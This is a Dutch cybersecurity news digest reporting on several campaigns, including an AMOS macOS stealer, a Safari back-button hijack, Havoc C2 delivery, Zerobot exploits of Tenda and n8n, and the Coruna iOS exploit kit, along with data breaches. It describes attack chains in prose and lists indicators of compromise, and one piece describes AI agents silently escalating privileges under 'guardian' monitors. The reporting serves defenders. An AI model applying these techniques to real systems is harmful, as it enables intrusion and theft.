Een computerliefhebber, Gi7w0rm, merkte de malware op en identificeerde deze nadat onderzoeker @itspappy contact opnam met belangrijk bewijs van de campagne. @itspappy had malware voor macOS ontdekt die zich verspreidde via op ClickFix lijkende trucs die waren gekoppeld aan gecompromitteerde Google advertenties. Met behulp van Google's Ads Transparency tool ontdekten ze meer dan 34 actieve aanvalsketens en meer dan 53 gekaapte Google Ads accounts die werden gebruikt om kwaadaardige lokkertjes te verspreiden. De schaal van de operatie suggereerde betrokkenheid van een grotere georganiseerde criminele groep, waarschijnlijk een "Traffer" netwerk.

Naast Medium hostten de aanvallers valse artikelen op Evernote, mssg.me en kimi.com - diensten die geen identiteitscontroles vereisen om te gebruiken. Elke keer dat een kwaadaardig artikel werd verwijderd, vervingen de aanvallers het onmiddellijk, wat duidt op een goed onderhouden en persistente operatie. Deze pagina's bootsen echte helpgidsen na en leiden slachtoffers door twee stappen die eindigen in een schadelijke terminalopdracht.

De uiteindelijke payload - "malext" - is een nieuwe AMOS (Atomic macOS Stealer) variant, genoemd naar het C2 domein malext[.]com dat hardcoded is in het sample. Eenmaal actief, verzamelt het browser credentials, Apple Notes, Safari cookies, crypto wallet data, Telegram sessies en de macOS keychain. Vervolgens worden Ledger en Trezor wallet applicaties voorzien van een backdoor door ze te verwisselen met getrojaniseerde versies, waardoor aanvallers langdurige toegang krijgen tot de financiën van het slachtoffer.

De infectie begint wanneer een gebruiker de terminalopdracht van een lokpagina plakt. Het decoderen van de base64-gecodeerde opdracht onthult een curl request dat een remote script ophaalt dat zowel Base64 encoding als gzip compressie gebruikt - een zeldzame dubbele obfuscatietechniek. Eenmaal volledig uitgepakt, downloadt de echte opdracht een MachO binary naar /tmp, verwijdert de Gatekeeper quarantaine flag van macOS met behulp van xattr -c, en voert deze uit zonder waarschuwing aan de gebruiker.

Voordat de stealer wordt uitgevoerd, voert de MachO binary - gebouwd voor zowel ARM- als x86-64-architecturen - een VM detectie check uit. Deze check, geobfuskeerd met een Caesar cipher, bevraagt macOS' system_profiler op tekenen van QEMU, VMware of KVM. Het zoekt ook naar hardware indicatoren die typisch zijn voor sandbox omgevingen, zoals valse board serial numbers en ongewoon oude processors. Dit blokkeerde met succes de uitvoering in elke grote macOS sandbox die werd getest, inclusief VirusTotal en Tria.ge.

Als er geen sandbox wordt gedetecteerd, wordt de belangrijkste 59.444-karakter AppleScript payload uitgevoerd. Het verbergt het terminal venster, verzamelt hardware details en steelt het macOS login wachtwoord met behulp van een valse helper installatie dialog als er geen opgeslagen credential wordt gevonden. De stealer veegt vervolgens door browser profielen, crypto wallets, de macOS keychain, Telegram sessies en Apple Notes, en comprimeert alle verzamelde data in een zip archief. Exfiltratie gaat naar 38.244.158[.]56, met 199.217.98.33 als backup. Een LaunchDaemon plist op com.finder.helper.plist installeert een persistente backdoor die bij elke herstart opnieuw start.

macOS gebruikers zouden nooit terminalopdrachten van online artikelen moeten plakken, hoe nuttig ze ook lijken. Houd Gatekeeper en System Integrity Protection altijd ingeschakeld en benader elk Google als advertentie gemarkeerd zoekresultaat met voorzichtigheid. Als een infectie wordt vermoed, verwijder dan onmiddellijk de bestanden ~/.pass, ~/.agent, ~/.mainhelper, ~/.username, en de LaunchDaemon entry com.finder.helper.plist, wijzig alle in de browser opgeslagen wachtwoorden en installeer de betreffende cryptocurrency wallet apps opnieuw van hun officiële bron.

Bron: CyberSecurityNews

De opkomst van AI agenten die gebruikmaken van het Model Context Protocol (MCP) om toegang te krijgen tot applicaties, API's en data, stelt bedrijven voor nieuwe uitdagingen op het gebied van identiteitsbeheer. Deze agenten, die workflows automatiseren en informatie ophalen, opereren vaak buiten de traditionele IAM systemen, waardoor een risico ontstaat dat bekend staat als "identity dark matter".

Uit een onderzoek van Team8 onder CISO's blijkt dat bijna 70% van de bedrijven al AI agenten in productie heeft, en nog eens 23% plant implementaties in 2026. Een groot deel van deze agenten wordt intern gebouwd, wat de noodzaak van onafhankelijk toezicht onderstreept, vooral in hybride omgevingen waar native platformcontroles tekortschieten.

Het misbruik van identity dark matter door AI agenten volgt een typisch patroon: ze inventariseren beschikbare bronnen, proberen de gemakkelijkste toegangspaden (zoals lokale accounts en verouderde credentials), vergaren voldoende privileges om te pivoteren en gevoelige informatie te bemachtigen, en escaleren vervolgens stilletjes hun privileges. Dit alles gebeurt op machinesnelheid, waardoor het voor mensen moeilijk is om afwijkend gedrag tijdig te detecteren.

MCP agenten brengen ook eigen risico's met zich mee, zoals overmatige permissies, ongetraceerd gebruik, statische credentials, regulatory blind spots en privilege drift. Om deze risico's te beheersen, is het essentieel dat organisaties identity en access management integreren met information governance, zodat ze datagevoeligheid dynamisch kunnen classificeren en agentgedrag in real-time kunnen monitoren.

Om te voorkomen dat dezelfde fouten worden gemaakt als in het verleden met verweesde accounts en onbeheerde keys, moeten organisaties kernprincipes voor identiteitsbeheer toepassen op AI agenten. Gartner introduceerde het concept van "guardian" systemen, supervisory AI oplossingen die continu de grenzen van werkende agenten evalueren, monitoren en handhaven. Deze systemen zijn een essentieel onderdeel van veilige MCP adoptie.

Bron: Team8 | Bron 2: gartner.com

Cloud Imperium Games (CIG), het bedrijf achter de games Star Citizen en Squadron 42, heeft bekendgemaakt dat aanvallers in januari toegang hebben gekregen tot systemen met persoonlijke informatie van gebruikers. CIG, gevestigd in Californië, werd in 2012 opgericht door game ontwikkelaar Chris Roberts en heeft meer dan 700 medewerkers in vijf gamestudio's.

In een melding op haar website onthulde CIG dat het op 21 januari 2026 een datalek heeft ontdekt, waarbij aanvallers toegang kregen tot de basisaccountinformatie van een onbekend aantal gebruikers. De getroffen data beperkt zich tot metadata, contactgegevens, gebruikersnamen, geboortedata en namen.

Volgens CIG zijn er geen aanwijzingen dat de buitgemaakte data online is gelekt. De getroffen systemen bevatten geen financiële informatie of inloggegevens. Het bedrijf benadrukt dat er geen financiële- of betaalinformatie toegankelijk was, geen wachtwoorden zijn gecompromitteerd en er geen data injectie of -modificatie heeft plaatsgevonden. CIG zegt de situatie en systemen nauwlettend in de gaten te houden om verdere incidenten te voorkomen. Ook onderzoekt het of de data openbaar wordt gemaakt, maar tot nu toe zijn er geen aanwijzingen hiervoor.

Hoewel CIG het incident bagatelliseert en geen impact op gebruikers verwacht, waarschuwen experts dat de blootgestelde persoonlijke informatie gebruikt kan worden voor phishingaanvallen. BleepingComputer heeft CIG gevraagd of de getroffen gebruikers op de hoogte zijn gesteld en of er een losgeld is geëist, maar heeft nog geen antwoord ontvangen.

Bron: Cloud Imperium Games | Bron 2: robertsspaceindustries.com | Bron 3: kickstarter.com

De dreigingsacteur D-Shortiez voert een aanhoudende malvertising-campagne uit die een WebKit browsergedrag omzet in een val, waardoor iOS Safari-gebruikers naar frauduleuze pagina's worden geleid zonder gemakkelijke uitweg. Deze gedwongen redirect-aanvallen zijn niet nieuw, maar D-Shortiez introduceert een technische element: een back-button hijack die slachtoffers de mogelijkheid ontneemt om weg te navigeren zodra ze op een kwaadaardige bestemming terechtkomen.

Adverteerders die deze operaties uitvoeren, zoeken naar kleine technische voordelen, zoals browsergedrag, hiaten in advertentieplatformfiltering of edge cases in de uitvoering van scripts in verschillende omgevingen. Confiant-analisten identificeerden D-Shortiez als een groep die actief gedwongen redirect-campagnes uitvoert die slachtoffers naar kwaadaardige click-chains leiden met bekende online scams. Hun onderzoek toonde aan dat de payload begint met standaard fingerprinting en trackingfuncties. De redirect-mechanismen vielen op, met name een nested try/catch block dat de daadwerkelijke gedwongen redirectie afhandelt door meerdere redirect-pogingen tegelijkertijd te lanceren. Dit is een bekende tactiek, omdat verschillende browsers verschillend reageren op redirect-oproepen.

De schaal van deze campagne is aanzienlijk. In de afgelopen zes maanden heeft D-Shortiez meer dan 300 miljoen kwaadaardige advertentie-impressies geleverd, voornamelijk gericht op Amerikaans publiek, maar ook in Canada en delen van Europa. Het iOS-platform was het primaire doelwit. De activiteit vertoont een consistent tempo sinds augustus, met scherpe, agressieve bursts van high-volume levering, gevolgd door korte pauzes.

Het meest onderscheidende aspect van deze campagne is hoe D-Shortiez de browser popstateevent misbruikt om te voorkomen dat slachtoffers weg kunnen navigeren van scam-pagina's in Safari. De payload gebruikt window.top.history.pushState() om een valse entry in de sessiegeschiedenis van de browser in te voegen. Een onpopstateevent handler gekoppeld aan window.top vangt vervolgens elke druk op de terugknop op en leidt de gebruiker naar de scam-URL, waarbij een "back"-parameter wordt toegevoegd, in plaats van terug te keren naar de oorspronkelijke pagina.

Toen de payload werd getest in alle grote browsers, vertoonde het geen ongebruikelijk gedrag, behalve in Safari op iOS. Daar werkte het script zoals bedoeld, waardoor de terugknop werd vergrendeld en slachtoffers vast kwamen te zitten op scam-pagina's zonder duidelijke uitweg.

De kwetsbaarheid werd op 29 september gemeld aan Apple, die het op 23 januari patchte via een Safari-beveiligingsupdate, aangeduid als HT213600. iOS- en Safari-gebruikers die deze update nog niet hebben toegepast, lopen het risico op deze back-button hijack. Alle iOS- en Safari-gebruikers wordt aangeraden om Apple's beveiligingsupdate HT213600 onmiddellijk te installeren. Security- en ad operations-teams wordt aangeraden hun ad supply chains te controleren op redirect-gebaseerde payloads en alle bekende D-Shortiez IOC-domeinen te blokkeren op DNS- en netwerkniveau. Deze IOC's omvatten een breed netwerk van wildcard subdomeinen met extensies zoals .shop, .site, .homes, .beauty, .skin, .boats, .cyou en diverse andere top-level domeinen.

Bron: Confiant

Dreigingsonderzoekers hebben een nieuwe campagne ontdekt waarbij aanvallers zich voordoen als IT-ondersteuning om het Havoc command-and-control (C2) framework te verspreiden. Dit zou een opmaat kunnen zijn voor data exfiltratie of ransomware-aanvallen.

De inbraken, die Huntress vorige maand bij vijf partnerorganisaties identificeerde, omvatten e-mailspam als lokaas, gevolgd door een telefoontje van een IT-helpdesk die een meerlaagse malware-delivery pipeline activeert.

Volgens onderzoekers Michael Tigges, Anna Pham en Bryan Masters verplaatste de aanvaller zich in één organisatie in elf uur van de initiële toegang naar negen extra endpoints. Hierbij werd een mix van aangepaste Havoc Demon payloads en legitieme RMM-tools ingezet voor persistentie. De snelheid van de laterale verplaatsing suggereert dat het einddoel data exfiltratie, ransomware of beide was.

De modus operandi komt overeen met eerdere email bombing en Microsoft Teams phishing-aanvallen die werden uitgevoerd door actoren die geassocieerd worden met de Black Basta ransomware operatie. Hoewel deze cybercrimegroep stil lijkt te zijn gevallen na een openbare lek van hun interne chatlogs vorig jaar, suggereert de aanwezigheid van de groep's playbook twee mogelijke scenario's: voormalige Black Basta affiliates zijn overgestapt naar andere ransomware operaties, of rivaliserende dreigingsactoren hebben dezelfde strategie overgenomen om social engineering toe te passen en initiële toegang te verkrijgen.

De aanval begint met een spamcampagne die tot doel heeft de inboxen van een doelwit te overspoelen met junkmails. Vervolgens nemen de aanvallers, die zich voordoen als IT-ondersteuning, contact op met de ontvangers en proberen ze hen over te halen om op afstand toegang te verlenen tot hun machines via een Quick Assist-sessie of door tools zoals AnyDesk te installeren om het probleem op te lossen.

Eenmaal toegang verkregen, navigeert de aanvaller naar een valse landingspagina die wordt gehost op Amazon Web Services (AWS) en Microsoft nabootst. Het slachtoffer wordt gevraagd om zijn e-mailadres in te voeren om toegang te krijgen tot Outlook's anti-spam regels update systeem en de spamregels bij te werken.

Het klikken op een knop om de regels te updaten activeert een script dat een overlay weergeeft waarin de gebruiker wordt gevraagd zijn wachtwoord in te voeren. Dit mechanisme dient twee doelen: het stelt de aanvaller in staat om credentials te verzamelen en het voegt een laag van authenticiteit toe aan de interactie, waardoor de gebruiker ervan overtuigd raakt dat het proces echt is.

De aanval is ook afhankelijk van het downloaden van de vermeende anti-spam patch, wat leidt tot de uitvoering van een legitiem binair bestand genaamd "ADNotificationManager.exe" (of "DLPUserAgent.exe" en "Werfault.exe") om een kwaadaardige DLL te sideloaden. De DLL payload implementeert defense evasion en voert de Havoc shellcode payload uit door een thread te spawnen die de Demon agent bevat.

Minstens één van de geïdentificeerde DLL's ("vcruntime140_1.dll") bevat extra trucs om detectie door security software te omzeilen door middel van control flow obfuscation, timing-based delay loops en technieken zoals Hell's Gate en Halo's Gate om ntdll.dll functies te hooken en endpoint detection and response (EDR) oplossingen te omzeilen.

Na de succesvolle implementatie van de Havoc Demon op de beachhead host, begonnen de aanvallers aan laterale verplaatsing binnen de omgeving van het slachtoffer. Hoewel de initiële social engineering en malware delivery interessante technieken demonstreerden, was de hands-on-keyboard activiteit die volgde relatief eenvoudig.

Dit omvat het maken van scheduled tasks om de Havoc Demon payload te starten telkens wanneer de geïnfecteerde endpoints opnieuw worden opgestart, waardoor de aanvallers persistent remote access krijgen. Daarnaast is gebleken dat de dreigingsactor legitieme remote monitoring en management (RMM) tools zoals Level RMM en XEOX op sommige gecompromitteerde hosts inzet in plaats van Havoc, waardoor hun persistentie mechanismen worden gediversifieerd.

De snelheid waarmee aanvallen zich ontwikkelen van initiële compromittering tot laterale verplaatsing, evenals de vele methoden die worden gebruikt om persistentie te behouden, zijn opvallend.

Wat begint als een telefoontje van 'IT support' eindigt met een volledig gecompromitteerd netwerk – gemodificeerde Havoc Demons ingezet op endpoints, legitieme RMM-tools hergebruikt als back-up persistentie. Deze campagne is een casestudy in hoe moderne aanvallers verfijning in elke fase toepassen: social engineering om binnen te komen, DLL sideloading om onzichtbaar te blijven en gediversifieerde persistentie om sanering te overleven.

Bron: Huntress | Bron 2: github.com

Een Mirai-gebaseerde botnet campagne, bekend als Zerobot, is opnieuw opgedoken en richt zich nu op kritieke kwetsbaarheden in Tenda AC1206 routers en het n8n workflow automation platform. De campagne, die nu opereert op zijn negende bekende iteratie - genaamd zerobotv9 - maakt actief gebruik van recentelijk bekendgemaakte command injection kwetsbaarheden om malware te verspreiden over blootgestelde netwerken en verbonden apparaten.

Zerobot dook voor het eerst op in 2022. De nieuwere versie, zerobotv9, is anders dan zijn voorganger: hij is niet geschreven in Go, is kleiner in bestandsgrootte, UPX packed, en bevat versleutelde strings samen met een hard-coded command and control (C2) domein van 0bot.qzz[.]io.

Akamai onderzoekers identificeerden actieve pogingen tot misbruik van deze kwetsbaarheden medio januari 2026. De campagne is al actief sinds begin december 2025, waarmee dit een van de eerste bevestigde gevallen is van actieve exploitatie van deze specifieke CVE's sinds hun openbaarmaking in 2025. Het onderzoek werd uitgevoerd door Kyle Lefton, een security researcher bij Akamai’s SIRT.

De twee belangrijkste kwetsbaarheden die worden misbruikt zijn CVE-2025-7544 en CVE-2025-68613. CVE-2025-7544, gepubliceerd medio juli 2025, is een kritieke stack-based buffer overflow in de /goform/setMacFilterCfg endpoint van Tenda AC1206 apparaten met firmware versie 15.03.06.23. Een aanvaller kan deze fout op afstand triggeren door een te grote waarde door te geven via de deviceList parameter, waardoor zowel denial-of-service (DoS) als remote code execution (RCE) mogelijk wordt. CVE-2025-68613, gepubliceerd medio december 2025, is een kritieke RCE kwetsbaarheid in het workflow expression evaluation systeem van n8n, die versies 0.211.0 tot en met 1.22.0 treft. Het ontbreken van de juiste sandboxing stelt aanvallers in staat om willekeurige code uit te voeren, API keys te stelen, toegang te krijgen tot serverbestanden en persistentie te vestigen.

Wat deze campagne bijzonder alarmerend maakt, is de targeting van n8n naast traditionele IoT hardware. Botnets hebben zich in het verleden gericht op routers, camera's en DVR's - niet op enterprise automation platforms. Aangezien veel organisaties vertrouwen op n8n om databases te verbinden, dataprocessing te automatiseren en gevoelige systemen te beheren, kan een succesvolle compromise serieuze mogelijkheden openen voor laterale verplaatsing binnen de kritieke infrastructuur van een organisatie.

Zodra een kwetsbare Tenda router of n8n instance is geïdentificeerd, triggert Zerobot de relevante exploit en dwingt het doelapparaat om een malicious shell script genaamd tol.sh te downloaden en uit te voeren vanaf een in de VS gevestigd IP-adres (144.172.100.228). Dit script kopieert busybox naar de /tmp directory, kent uitvoeringsrechten toe, en haalt vervolgens de belangrijkste Mirai malware payload op - zerobotv9. De payload ondersteunt meerdere CPU architecturen, een gemeenschappelijk kenmerk van Mirai-gebaseerde downloaders die zijn gebouwd voor brede apparaatcompatibiliteit.

Het exploit triggert de buffer overflow door 500 herhaalde karakters door te geven via de deviceList parameter. De n8n aanval verstuurt commando's via de workflow API om tol.sh uit te voeren en dezelfde payload te laden. De zerobotv9 binary embed hard-coded user-agent strings die legitiem browserverkeer nabootsen om op te gaan in de massa en netwerkdetectie te vermijden. De malware bevat aanvalsmethoden zoals TCPXmas, Mixamp, SSH, en Discord - mogelijkheden die verder gaan dan die van de originele 2022 Zerobot variant. Het botnet werd verder waargenomen bij het targeten van CVE-2017-9841, CVE-2021-3129, en CVE-2022-22947, met behulp van fallback connection technieken waaronder netcat, socat, en Perl socket methoden.

Organisaties die Tenda AC1206 draaien op firmware 15.03.06.23 moeten onmiddellijk patchen of verouderde hardware vervangen. n8n gebruikers moeten upgraden naar een versie hoger dan 1.22.0, de toegang tot de workflow execution interface beperken, en strikte user privilege controls afdwingen. Netwerkverdedigers moeten de bekende malicious IP's blokkeren of monitoren - 103.59.160.237, 140.233.190.96, 144.172.100.228, 172.86.123.179, en 216.126.227.101 - en het C2 domein 0bot.qzz[.]io.

Bron: Akamai

Toegang tot gehackte websites wordt openlijk aangeboden op cybercrime markten, waarbij gecompromitteerde cPanel-credentials een gewild product zijn. Deze credentials worden in grote aantallen verkocht via frauduleuze chatgroepen tegen lage prijzen, en worden ingezet als kant-en-klare infrastructuur voor phishing- en scamcampagnes.

Uit onderzoek van Flare-beveiligingsonderzoekers, dat een periode van zeven dagen besloeg, blijkt dat er een gestructureerd ecosysteem op grote schaal opereert. Meer dan 200.000 berichten met betrekking tot cPanel-toegang werden geanalyseerd. cPanel is een van de meest gebruikte webhosting control panels op Linux-basis. Het biedt een beheerlaag voor het beheren van hostingaccounts, domeinen, mail services, databases, DNS-zones, SSL-certificaten en bestandssystemen. Volgens Shodan zijn er meer dan 1,5 miljoen servers met cPanel-software verbonden met het internet, waarbij de meeste zich in de Verenigde Staten bevinden.

Met de juiste credentials kunnen aanvallers onder andere backdoors plaatsen, nieuwe beheerders aanmaken, malware installeren, root-toegang verkrijgen, phishing kits implementeren als subdomein en SMTP-accounts aanmaken voor phishing- of spamcampagnes. Ook kunnen ze waardevolle data (PII, geheimen) stelen en exfiltreren uit databases. In shared hosting omgevingen kan een enkel cPanel toegang geven tot tientallen domeinen, en op organisatieniveau kan het de gehele web aanwezigheid compromitteren. Omdat aanvallers geldige credentials gebruiken, worden deze activiteiten niet altijd direct opgemerkt door traditionele beveiligingsmaatregelen.

Flare monitort Telegram-kanalen waar dreigingsactoren gecompromitteerde cPanel-credentials, SMTP-toegang en hostinginfrastructuur verkopen. Aanvallers verkrijgen toegang tot cPanel-omgevingen door middel van credential abuse, web applicatie compromissen en server-level exploits. De meest voorkomende methode is het stelen of brute-forcen van credentials via phishing campagnes, hergebruik van wachtwoorden uit datalekken, credential stuffing en geautomatiseerde brute-force aanvallen op cPanel login portals. Ook configuratiefouten, zoals het blootstellen van gevoelige bestanden, zwakke wachtwoorden of het ontbreken van multi-factor authenticatie, maken cPanel een aantrekkelijk doelwit.

Bron: Flare

De University of Hawaii (UH) heeft bevestigd dat een ransomwaregroep de gegevens van bijna 1,2 miljoen personen heeft gestolen na een inbraak in de Epidemiology Division van het Cancer Center in augustus 2025. Het UH Cancer Center stuurde op 23 februari 2026 kennisgevingsbrieven naar meer dan 87.000 mensen die tussen 1993 en 1996 deelnamen aan de Multiethnic Cohort (MEC) Study. De universiteit informeert nu ook alle andere mogelijk getroffen personen van wie de contactgegevens zijn gevonden (ongeveer 900.000 e-mailadressen).

De universiteit meldt dat de MEC Study mogelijk 87.493 individuen heeft getroffen. Daarnaast zijn er ongeveer 1,15 miljoen extra personen van wie de persoonlijke informatie mogelijk is opgenomen in historische rijbewijs- en kiezersregistratiegegevens met SSN-identificatoren (Social Security Numbers). De universiteit benadrukt dat de klinische onderzoeken, patiëntenzorg of andere afdelingen van het UH Cancer Center niet zijn getroffen, evenals UH-studentengegevens.

De gestolen documenten bevatten twee bestanden met namen en burgerservicenummers (BSN's) uit een document van het State Department of Transportation (verzameld in 2000) en kiezersregistratiegegevens (uit 1998), bestanden met BSN's, rijbewijsnummers en gezondheidsinformatie over de MEC Study (tussen 1993 en 1996), en drie andere onderzoeken naar voeding en kanker, evenals nog twee bestanden uit 1999 en het midden van de jaren 2000 met BSN's en namen verzameld uit openbare gezondheidsregisters voor epidemiologisch onderzoek.

Uit een rapport aan de staatswetgever in december bleek dat het incident één UH Cancer Center-onderzoeksproject trof en was beperkt tot systemen die de Epidemiology Division ondersteunen. Het had geen invloed op de klinische activiteiten of de patiëntenzorg. Uit een vervolgonderzoek is gebleken dat de aanvallers toegang kregen tot onderzoeksbestanden van het UH Cancer Center (UHCC) en mogelijk persoonlijke informatie hebben gestolen, zoals burgerservicenummers (BSN's) en rijbewijsnummers. De aanvallers versleutelden ook de getroffen systemen, wat leidde tot aanzienlijke schade en vertragingen in de herstelinspanningen en het onderzoek naar de impact van de aanval.

De University of Hawaii heeft bevestigd dat het de aanvallers heeft betaald om een decryptietool te verkrijgen en "de illegale verkregen informatie veilig te vernietigen" om "de personen te beschermen van wie de gevoelige informatie mogelijk is gecompromitteerd." Directeur Naoto T. Ueno van het UH Cancer Center betreurt het incident en benadrukt dat de universiteit de zaak zeer serieus neemt en zich inzet voor transparantie, verantwoordelijkheid en het versterken van de bescherming van de onderzoeksgegevens. In juli 2023 bevestigde het Hawaiʻi Community College (onderdeel van de University of Hawaii) ook dat het een ransomwaregroep heeft betaald om te voorkomen dat gegevens van ongeveer 28.000 mensen zouden worden gelekt.

Bron: hawaii.edu | Bron 2: hubs.li | Bron 3: incode.com

Phishingcriminelen maken misbruik van het .arpa toplevel domein (TLD) om beveiligingsprotocollen te omzeilen. Infoblox ontdekte dat dit gereserveerde deel van de internetinfrastructuur, bedoeld voor reverse DNS, wordt gebruikt om frauduleuze websites te hosten. Reverse DNS zet een IP adres om in een domeinnaam.

De criminelen gebruiken gratis IPv6-tunnels om een groot aantal IP adressen te verkrijgen en misleiden serviceproviders zoals Hurricane Electric en Cloudflare om frauduleuze websites binnen de .arpa ruimte te hosten. Omdat dit deel van het internet als essentieel en betrouwbaar wordt beschouwd, controleren veel beveiligingstools het niet op bedreigingen.

Dr. Renée Burton, VP Infoblox Threat Intel, merkt op dat door het gebruik van .arpa, de aanvallers traditionele controles omzeilen die verdachte links zouden detecteren. Reverse DNS ruimte is nooit ontworpen om webcontent te hosten, waardoor de meeste verdedigingsmechanismen dit niet als een potentieel bedreigingsoppervlak beschouwen.

Naast het misbruik van .arpa maken de aanvallers ook gebruik van dangling CNAME's, waarbij ze oude, vergeten weblinks van organisaties overnemen, waaronder universiteiten, mediabedrijven en overheidsinstanties. In één geval expireerde een domein genaamd publicnoticessitescom, waardoor de aanvallers meer dan 120 lokale krantenwebsites tegelijk konden kapen. Een ander verlopen domein, hobsonsmscom, stelde hen in staat om ten minste drie verschillende universiteiten te targeten.

Ook gebruiken ze domein shadowing, waarbij ze een geheim subdomein creëren onder de naam van een legitiem merk, meestal via gestolen inloggegevens. Een dergelijk shadow domein is naar verluidt al sinds 2020 actief zonder te worden opgemerkt.

De e-mails die naar slachtoffers worden gestuurd, zijn vaak eenvoudig en beloven een gratis geschenk of beweren dat een cloudopslagquotum is overschreden. In plaats van tekst bevat de e-mail meestal slechts één grote afbeelding. Als de gebruiker op de afbeelding klikt, wordt deze doorgestuurd via een Traffic Distribution System (TDS), dat controleert of het slachtoffer een mobiel apparaat gebruikt of een residentieel IP adres heeft, voordat de uiteindelijke oplichtingspagina wordt weergegeven. Deze lokmiddelen zijn ontworpen om creditcardgegevens te stelen onder het mom van het betalen voor verzendkosten.

Om jezelf te beschermen, wees altijd op je hoede voor aanbiedingen die te mooi zijn om waar te zijn, vooral die welke als klikbare afbeeldingen van onbekende bronnen binnenkomen.

Bron: Infoblox

Cybercrimeinfo heeft details ontdekt over malafide pakketten op Packagist die zich voordoen als hulpprogramma voor Laravel's. Deze pakketten bevatten schadelijke code die mogelijk systemen kan compromitteren. De onderzoekers waarschuwen ontwikkelaars om extra alert te zijn bij het installeren van pakketten uit de Packagist repository, zelfs als ze er legitiem uitzien.

De aanvallers proberen misbruik te maken van de populariteit van het Laravel framework door pakketten te creëren die lijken op nuttige tools en bibliotheken. Zodra een ontwikkelaar zo'n malafide pakket installeert, kan de schadelijke code worden uitgevoerd en mogelijk gevoelige informatie stelen, backdoors installeren of andere kwaadaardige activiteiten uitvoeren.

Het is belangrijk om de broncode van een pakket te controleren voordat het wordt geïnstalleerd. Ontwikkelaars wordt aangeraden om de pakketten te downloaden en de code te inspecteren op verdachte patronen of onbekende functies. Ook is het raadzaam om de reputatie en betrouwbaarheid van de pakketbeheerder te onderzoeken voordat een pakket wordt geïnstalleerd.

Het is van cruciaal belang dat de community waakzaam blijft en verdachte pakketten meldt aan de beheerders van Packagist, zodat ze snel kunnen worden verwijderd. Door voorzichtig te zijn en de juiste veiligheidsmaatregelen te nemen, kunnen ontwikkelaars zichzelf beschermen tegen deze bedreigingen en de integriteit van hun projecten waarborgen.

Bron: socket.dev

Het Nederlandse verfbedrijf AkzoNobel heeft bevestigd dat een van zijn Amerikaanse vestigingen het doelwit is geworden van een cyberaanval. De bevestiging komt nadat de Anubis ransomwaregroep data van het bedrijf had gelekt. Een woordvoerder van AkzoNobel verklaarde dat het incident is ingeperkt en de impact beperkt is.

"AkzoNobel heeft een beveiligingsincident vastgesteld op een van onze locaties in de Verenigde Staten. Het incident was beperkt tot de betreffende locatie en is reeds ingeperkt," aldus het bedrijf. "De impact is beperkt en we nemen de nodige stappen om de getroffen partijen te informeren en te ondersteunen. We zullen nauw samenwerken met de relevante autoriteiten."

AkzoNobel is een groot verf- en coatingsbedrijf met 35.000 werknemers en een jaarlijkse omzet van meer dan 12 miljard dollar. Het bedrijf is actief in meer dan 150 landen en heeft merken zoals Dulux, Sikkens, International en Interpon in zijn portfolio.

De Anubis ransomware claimt 170 GB aan data, bijna 170.000 bestanden, van AkzoNobel te hebben gestolen. Op hun leksite zijn voorbeelden gepubliceerd, waaronder screenshots van documenten en een lijst van de gestolen bestanden. De gelekte data bevat vertrouwelijke overeenkomsten met grote klanten, e-mailadressen en telefoonnummers, privé-e-mailcorrespondentie, paspoortscans, materiaaltestdocumenten en interne technische specificatiebladen. Op het moment van schrijven is de Anubis-lek slechts gedeeltelijk. AkzoNobel heeft geen informatie gedeeld over eventuele contacten met de aanvallers.

Anubis is een ransomware-as-a-service (RaaS)-operatie die in december 2024 werd gelanceerd. Het biedt affiliates 80% van de betaalde losgelden. In februari 2025 lanceerden de operators een affiliateprogramma op het RAMP-forum, waardoor hun activiteit en invloed in de cybercrime-wereld toenam. In juni van hetzelfde jaar voegde Anubis een datawisser toe aan zijn arsenaal, die de bestanden van het slachtoffer vernietigt om herstel onmogelijk te maken.

Bron: AkzoNobel | Bron 2: kelacyber.com | Bron 3: hubs.li

De Threat Intelligence Group (GTIG) van Google heeft Coruna ontdekt, een geavanceerde iOS exploit kit die 23 exploits bevat verdeeld over vijf volledige exploit chains. Hiermee zijn duizenden iPhones met iOS 13.0 tot en met 17.2.1 gecompromitteerd in 2025.

De Coruna exploit kit is een modulair aanvalskader dat zich richt op Apple iPhone-modellen met iOS 13.0 (september 2019) tot iOS 17.2.1 (december 2023). De naam van de kit werd ontdekt toen een dreigingsactor per ongeluk een debug-versie van het framework inzette, waardoor interne codenamen en de identiteit van de kit zelf werden onthuld.

De exploits zijn uitgebreid gedocumenteerd in het Engels. De meest geavanceerde componenten maken gebruik van niet-openbare exploitatietechnieken en mitigation bypasses, wat kenmerkend is voor tooling van nation-state-niveau.

GTIG volgde hoe Coruna in 2025 door drie verschillende ecosystemen van dreigingsactoren bewoog. In februari 2025 onderschepte GTIG delen van een iOS exploit chain die werd geleverd via een JavaScript-framework met unieke obfuscatietechnieken. Het framework identificeerde het iPhone-model en de iOS-versie voordat de WebKit remote code execution (RCE) exploit en een Pointer Authentication Code (PAC) bypass werden geladen.

In de zomer van 2025 werd hetzelfde JavaScript-framework gevonden op cdn.uacounter[.]com, geïnjecteerd als een verborgen iFrame op tientallen gecompromitteerde Oekraïense websites in de industriële, detailhandel- en e-commerce sector. De exploits werden selectief geleverd aan iPhone-gebruikers op basis van geolocatie. GTIG waarschuwde CERT-UA om alle getroffen websites op te schonen.

Eind 2025 werd de complete exploit kit opgehaald van een netwerk van valse Chinese financiële en cryptocurrency websites die iOS-gebruikers moesten lokken. Een valse WEEX crypto exchange site toonde pop-ups die gebruikers aanmoedigden om de site via iPhone te bezoeken.

De 23 exploits omvatten vijf volledige exploit chains die WebKit RCE, PAC bypasses, sandbox escapes, privilege escalation (PE) en PPL (Page Protection Layer) bypasses leveren. Twee exploits, Photon en Gallium, richten zich op kwetsbaarheden die eerder werden gebruikt in Operation Triangulation, de door Kaspersky ontdekte iOS-spionagecampagne uit 2023.

Aan het einde van de exploit chain injecteert een stager binary genaamd PlasmaLoader (PLASMAGRID) zichzelf in powerd, een root-level iOS daemon, met behulp van com.apple.assistdas als een vermomming. De payload richt zich op 18 cryptocurrency wallet applicaties, waaronder MetaMask, BitKeep en Phantom, door hun functies te hooken om gevoelige gegevens te exfiltreren. Het kan ook Apple Notes scannen op BIP39 seed phrases en zoekwoorden zoals "backup phrase" of "bank account". Alle logging strings en code comments zijn geschreven in het Chinees, met bewijs van LLM-gegenereerde commentaarstructuren.

Netwerkcommunicatie gebruikt HTTPS met AES-encryptie, terwijl een custom Domain Generation Algorithm (DGA) met de string "lazarus" fallback.xyz-domeinen genereert met 15 tekens, gevalideerd via Google's public DNS resolver. GTIG heeft alle geïdentificeerde domeinen en websites toegevoegd aan Google Safe Browsing. De Coruna exploit kit is niet effectief tegen de nieuwste versie van iOS.

